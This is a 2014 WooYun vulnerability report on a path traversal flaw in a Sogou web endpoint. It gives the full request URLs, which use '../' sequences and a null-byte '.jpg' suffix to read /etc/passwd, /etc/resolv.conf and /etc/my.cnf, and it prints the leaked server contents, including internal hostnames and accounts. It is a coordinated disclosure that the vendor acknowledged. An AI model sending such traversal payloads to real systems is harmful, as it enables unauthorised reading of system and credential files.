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缺陷编号：wooyun-2014-051011

漏洞标题：搜狗文件遍历导致敏感信息泄露

相关厂商：搜狗

漏洞作者： m1x7e1

提交时间：2014-02-15 10:12

修复时间：2014-04-01 10:13

公开时间：2014-04-01 10:13

漏洞类型：文件包含

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-15： 细节已通知厂商并且等待厂商处理中
2014-02-15： 厂商已经确认，细节仅向厂商公开
2014-02-25： 细节向核心白帽子及相关领域专家公开
2014-03-07： 细节向普通白帽子公开
2014-03-17： 细节向实习白帽子公开
2014-04-01： 细节向公众公开

简要描述：

#那些年我们一起挖的洞#

详细说明：

http://dir.sogou.com/v53/get_123_v53.php?block=wt&c=1392388088893&cbf=fn&city=../../../../../../../../../../etc/resolv.conf%00.jpg&gfg=1&method=ajaf&pid=AQ7CZ&ver=v53

sg_wt_cb({"cn":h sogou-op.org nop.vm.sogou-op.org nop.sogou-op.org
nameserver 10.147.0.1
# update b,"wt7": sogou-op.org nop.vm.sogou-op.org nop.sogou-op.org
nameserver 10.147.0.1
# update ,"city":"../../../../../../../../../../etc/resolv.conf�.jpg","ip":"222.85.20.138","md":"02-


http://dir.sogou.com/v53/get_123_v53.php?block=wt&c=1392388088893&cbf=fn&city=../../../../../../../../../../etc/passwd%00.jpg&gfg=1&method=ajaf&pid=AQ7CZ&ver=v53

sg_wt_cb({"cn":x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
avahi-autoipd:x:100:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
netmonitor:x:500:500::/home/netmonitor:/bin/bash
guest:x:501:501::/opt/guest:/bin/bash
odin:x:502:502::/home/odin:/bin/bash
nagios:x:101:503:nagios:/var/log/nagios:/bin/sh
dt_ie:x:503:504::/home/dt_ie:/bin/bash
zabbix:x:504:505::/tmp:/sbin/nologin
mapred:x:102:107:Hadoop MapReduce:/usr/lib/hadoop-0.20:/bin/bash
hdfs:x:103:106:Hadoop HDFS:/usr/lib/hadoop-0.20:/bin/bash
hbase:x:104:108:HBase:/usr/lib/hbase:/bin/bash
smarton:x:505:506::/home/smarton:/usr/bin/up,"wt7"::0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
avahi-autoipd:x:100:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
netmonitor:x:500:500::/home/netmonitor:/bin/bash
guest:x:501:501::/opt/guest:/bin/bash
odin:x:502:502::/home/odin:/bin/bash
nagios:x:101:503:nagios:/var/log/nagios:/bin/sh
dt_ie:x:503:504::/home/dt_ie:/bin/bash
zabbix:x:504:505::/tmp:/sbin/nologin
mapred:x:102:107:Hadoop MapReduce:/usr/lib/hadoop-0.20:/bin/bash
hdfs:x:103:106:Hadoop HDFS:/usr/lib/hadoop-0.20:/bin/bash
hbase:x:104:108:HBase:/usr/lib/hbase:/bin/bash
smarton:x:505:506::/home/smarton:/usr/bin/u,


http://dir.sogou.com/v53/get_123_v53.php?block=wt&c=1392388088893&cbf=fn&city=../../../../../../../../../../etc/my.cnf%00.jpg&gfg=1&method=ajaf&pid=AQ7CZ&ver=v53

sg_wt_cb({"cn":ld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
user=mysql
# Default to using old password format for compatibility with mysql 3.x
# clients (those using the mysqlclient10 compatibility package).
old_passwords=1
# Disabling symbolic-links is recommended to prevent assorted security risks;
# to do so, uncomment this line:
# symbolic-links=0
[mysqld_safe]
log-error=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld,"wt7":d]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
user=mysql
# Default to using old password format for compatibility with mysql 3.x
# clients (those using the mysqlclient10 compatibility package).
old_passwords=1
# Disabling symbolic-links is recommended to prevent assorted security risks;
# to do so, uncomment this line:
# symbolic-links=0
[mysqld_safe]
log-error=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysql,


漏洞证明：

sg_wt_cb({"cn":x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
avahi-autoipd:x:100:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
netmonitor:x:500:500::/home/netmonitor:/bin/bash
guest:x:501:501::/opt/guest:/bin/bash
odin:x:502:502::/home/odin:/bin/bash
nagios:x:101:503:nagios:/var/log/nagios:/bin/sh
dt_ie:x:503:504::/home/dt_ie:/bin/bash
zabbix:x:504:505::/tmp:/sbin/nologin
mapred:x:102:107:Hadoop MapReduce:/usr/lib/hadoop-0.20:/bin/bash
hdfs:x:103:106:Hadoop HDFS:/usr/lib/hadoop-0.20:/bin/bash
hbase:x:104:108:HBase:/usr/lib/hbase:/bin/bash
smarton:x:505:506::/home/smarton:/usr/bin/up,"wt7"::0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
avahi-autoipd:x:100:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
netmonitor:x:500:500::/home/netmonitor:/bin/bash
guest:x:501:501::/opt/guest:/bin/bash
odin:x:502:502::/home/odin:/bin/bash
nagios:x:101:503:nagios:/var/log/nagios:/bin/sh
dt_ie:x:503:504::/home/dt_ie:/bin/bash
zabbix:x:504:505::/tmp:/sbin/nologin
mapred:x:102:107:Hadoop MapReduce:/usr/lib/hadoop-0.20:/bin/bash
hdfs:x:103:106:Hadoop HDFS:/usr/lib/hadoop-0.20:/bin/bash
hbase:x:104:108:HBase:/usr/lib/hbase:/bin/bash
smarton:x:505:506::/home/smarton:/usr/bin/u,

修复方案：

版权声明：转载请注明来源 m1x7e1@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2014-02-15 12:57

厂商回复：

感谢提供，马上安排修复

最新状态：

暂无